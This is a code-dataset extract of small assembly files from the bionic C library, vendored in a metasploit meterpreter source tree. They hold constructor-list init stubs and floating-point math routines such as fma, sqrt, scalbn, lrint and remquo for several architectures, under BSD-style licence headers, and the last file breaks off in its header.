repo_id
stringlengths
5
115
size
int64
590
5.01M
file_path
stringlengths
4
212
content
stringlengths
590
5.01M
OpenWireSec/metasploit
1,431
external/source/meterpreter/source/bionic/libdl/arch-sh/soend.S
/* * Copyright (C) 2009 The Android Open Project * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ .section .ctors, "aw" .long 0
OpenWireSec/metasploit
2,466
external/source/meterpreter/source/bionic/libdl/arch-sh/sobegin.S
/* * Copyright (C) 2009 The Android Open Project * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ .text .align 4 .type _init,#function .globl _init # The toolchain for SH-Linux does not produce INIT_ARRAY information which # bionic linker relies on. Instead of it, The toolchain for SH-Linux produces # INIT information when it find the function whose name is '_init'. # _init: sts.l pr, @-r15 mov.l r8, @-r15 mov.l 0f, r8 /* first entry is invalid */ .L_loop: add #4, r8 mov.l @r8, r0 cmp/eq #0, r0 /* Zero terimnated. See 'soend.so'. */ bt .L_end jsr @r0 /* invoke a constructor */ nop bra .L_loop nop .L_end: mov.l @r15+, r8 lds.l @r15+, pr rts nop .balign 4 0: .long __CTOR_LIST__ # the .ctors section contains a list of pointers to "constructor" # functions that need to be called in order during C library initialization, # just before the program is being run. This is a C++ requirement # # the last entry shall be 0, and is defined in crtend.S # .section .ctors, "aw" .globl __CTOR_LIST__ __CTOR_LIST__: .long -1
OpenWireSec/metasploit
1,543
external/source/meterpreter/source/bionic/libm/ia64/s_fmal.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/ia64/s_fmal.S,v 1.1 2005/03/07 04:53:11 das Exp $") ENTRY(fmal, 3) { fma f8 = f8, f9, f10 br.ret.sptk b0 }
OpenWireSec/metasploit
1,545
external/source/meterpreter/source/bionic/libm/ia64/s_fmaf.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/ia64/s_fmaf.S,v 1.1 2005/01/22 09:53:18 das Exp $") ENTRY(fmaf, 3) { fma.s f8 = f8, f9, f10 br.ret.sptk b0 }
OpenWireSec/metasploit
1,543
external/source/meterpreter/source/bionic/libm/ia64/s_fma.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/ia64/s_fma.S,v 1.1 2005/01/22 09:53:18 das Exp $") ENTRY(fma, 3) { fma.d f8 = f8, f9, f10 br.ret.sptk b0 }
OpenWireSec/metasploit
1,533
external/source/meterpreter/source/bionic/libm/sparc64/e_sqrt.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/sparc64/e_sqrt.S,v 1.1 2005/02/21 18:27:57 das Exp $") ENTRY(sqrt) retl fsqrtd %f0, %f0 END(sqrt)
OpenWireSec/metasploit
1,536
external/source/meterpreter/source/bionic/libm/sparc64/e_sqrtf.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/sparc64/e_sqrtf.S,v 1.1 2005/02/21 18:27:57 das Exp $") ENTRY(sqrtf) retl fsqrts %f1, %f0 END(sqrtf)
OpenWireSec/metasploit
1,526
external/source/meterpreter/source/bionic/libm/amd64/e_sqrt.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/amd64/e_sqrt.S,v 1.2 2005/02/04 14:08:32 das Exp $") ENTRY(sqrt) sqrtsd %xmm0, %xmm0 ret
OpenWireSec/metasploit
1,641
external/source/meterpreter/source/bionic/libm/amd64/s_scalbn.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/amd64/s_scalbn.S,v 1.1 2005/04/16 21:12:55 das Exp $") ENTRY(scalbn) movsd %xmm0,-8(%rsp) movl %edi,-12(%rsp) fildl -12(%rsp) fldl -8(%rsp) fscale fstp %st(1) fstpl -8(%rsp) movsd -8(%rsp),%xmm0 ret
OpenWireSec/metasploit
1,560
external/source/meterpreter/source/bionic/libm/amd64/s_lrint.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> #ifndef fn __FBSDID("$FreeBSD: src/lib/msun/amd64/s_lrint.S,v 1.1 2005/01/15 03:32:28 das Exp $") #define fn lrint #endif ENTRY(fn) cvtsd2si %xmm0, %rax ret
OpenWireSec/metasploit
1,562
external/source/meterpreter/source/bionic/libm/amd64/s_lrintf.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> #ifndef fn __FBSDID("$FreeBSD: src/lib/msun/amd64/s_lrintf.S,v 1.1 2005/04/16 21:12:55 das Exp $") #define fn lrintf #endif ENTRY(fn) cvtss2si %xmm0, %rax ret
OpenWireSec/metasploit
2,205
external/source/meterpreter/source/bionic/libm/amd64/s_remquo.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /* * Based on public-domain remainder routine by J.T. Conklin <jtc@NetBSD.org>. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/amd64/s_remquo.S,v 1.1 2005/03/25 04:40:44 das Exp $"); ENTRY(remquo) movsd %xmm0,-8(%rsp) movsd %xmm1,-16(%rsp) fldl -16(%rsp) fldl -8(%rsp) 1: fprem1 fstsw %ax btw $10,%ax jc 1b fstp %st(1) /* Extract the three low-order bits of the quotient from C0,C3,C1. */ shrl $6,%eax movl %eax,%ecx andl $0x108,%eax rorl $7,%eax orl %eax,%ecx roll $4,%eax orl %ecx,%eax andl $7,%eax /* Negate the quotient bits if x*y<0. Avoid using an unpredictable branch. */ movl -12(%rsp),%ecx xorl -4(%rsp),%ecx sarl $16,%ecx sarl $16,%ecx xorl %ecx,%eax andl $1,%ecx addl %ecx,%eax /* Store the quotient and return. */ movl %eax,(%rdi) fstpl -8(%rsp) movsd -8(%rsp),%xmm0 ret
OpenWireSec/metasploit
1,697
external/source/meterpreter/source/bionic/libm/amd64/s_scalbnf.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/amd64/s_scalbnf.S,v 1.2 2005/09/12 20:54:00 das Exp $") ENTRY(scalbnf) movss %xmm0,-8(%rsp) movl %edi,-4(%rsp) fildl -4(%rsp) flds -8(%rsp) fscale fstp %st(1) fstps -8(%rsp) movss -8(%rsp),%xmm0 ret .globl CNAME(ldexpf) .set CNAME(ldexpf),CNAME(scalbnf)
OpenWireSec/metasploit
1,527
external/source/meterpreter/source/bionic/libm/amd64/e_sqrtf.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/amd64/e_sqrtf.S,v 1.1 2005/04/16 21:12:55 das Exp $") ENTRY(sqrtf) sqrtss %xmm0, %xmm0 ret
OpenWireSec/metasploit
2,204
external/source/meterpreter/source/bionic/libm/amd64/s_remquof.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /* * Based on public-domain remainder routine by J.T. Conklin <jtc@NetBSD.org>. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/amd64/s_remquof.S,v 1.1 2005/03/25 04:40:44 das Exp $"); ENTRY(remquof) movss %xmm0,-4(%rsp) movss %xmm1,-8(%rsp) flds -8(%rsp) flds -4(%rsp) 1: fprem1 fstsw %ax btw $10,%ax jc 1b fstp %st(1) /* Extract the three low-order bits of the quotient from C0,C3,C1. */ shrl $6,%eax movl %eax,%ecx andl $0x108,%eax rorl $7,%eax orl %eax,%ecx roll $4,%eax orl %ecx,%eax andl $7,%eax /* Negate the quotient bits if x*y<0. Avoid using an unpredictable branch. */ movl -8(%rsp),%ecx xorl -4(%rsp),%ecx sarl $16,%ecx sarl $16,%ecx xorl %ecx,%eax andl $1,%ecx addl %ecx,%eax /* Store the quotient and return. */ movl %eax,(%rdi) fstps -4(%rsp) movss -4(%rsp),%xmm0 ret
OpenWireSec/metasploit
2,235
external/source/meterpreter/source/bionic/libm/i387/s_floor.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, 